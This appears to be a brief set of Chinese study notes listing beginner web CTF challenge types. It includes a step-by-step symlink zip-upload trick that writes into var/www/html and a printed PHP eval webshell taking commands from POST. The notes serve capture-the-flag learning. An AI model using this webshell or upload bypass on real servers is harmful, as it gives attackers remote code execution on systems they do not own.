web新手题目大全

1.弱口令爆破

2.一句话木马

不在var/www/html目录下解压所以不会产生解压执行文件的安全隐患,要使用软连接到根目录

 构造软连接

ln -s var/www/html test

压缩文件

zip --symlinks test1.zip test

--symlinks表示压缩软连接 

这时解压文件后是软连接就会实现从tmp指向var/www/html

接下来就是在var/www/html目录下上传一个shell文件就可以了

在test的目录下创建一句话php文件

shell文件内容:        <?php @eval($_POST['cmd']);?> 

然后再对test进行压缩                zip -r test1.zip test

3指定参数访问（本地127.0.0.1  X-forwarded-for） 

4 cookie暗示

5双写绕过（重组）

第一个上传，第二个读取。

6.vim读取，利用vim特性读取wep文件。

7.php反序列化

 8.数组特性

 9.实战演练（赣网杯）

10.如果正则表达式过滤过多，考虑使用js组成新的传参函数。 

11.八进制传参，传参前要有符号标识